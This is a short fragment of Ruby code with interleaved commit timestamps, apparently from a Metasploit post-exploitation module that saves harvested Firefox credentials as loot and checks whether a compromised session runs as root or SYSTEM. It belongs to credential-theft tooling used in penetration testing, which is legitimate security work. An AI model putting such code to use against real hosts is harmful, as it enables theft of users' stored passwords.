2015-07-14 12:33:48 +00:00
" firefox.creds " ,
" text/plain " ,
session ,
cred_table . to_csv ,
" firefox_credentials.txt " ,
" Firefox Credentials " )
vprint_good ( " Saved loot: #{ path . to_s } " )
# Display out
vprint_line ( " \n " + cred_table . to_s )
2013-09-05 18:41:25 +00:00
end
2015-07-14 12:33:48 +00:00
2013-09-05 18:41:25 +00:00
def got_root?
case @platform
when :windows
2015-07-14 12:33:48 +00:00
session . sys . config . getuid =~ / SYSTEM / ? ( true ) : ( false )
else # unix, bsd, linux, osx
2013-09-05 18:41:25 +00:00
ret = whoami
2015-07-14 12:33:48 +00:00
ret =~ / root / ? ( true ) : ( false )
2013-09-05 18:41:25 +00:00
end
end
2015-07-14 12:33:48 +00:00
2013-09-05 18:41:25 +00:00
def whoami
2015-07-14 12:33:48 +00:00
@platform == :windows ? ( session . sys . config . getenv ( 'USERNAME' ) ) : ( session . shell_command ( " whoami " ) . chomp )
2013-09-05 18:41:25 +00:00
end
2011-03-05 20:21:12 +00:00
end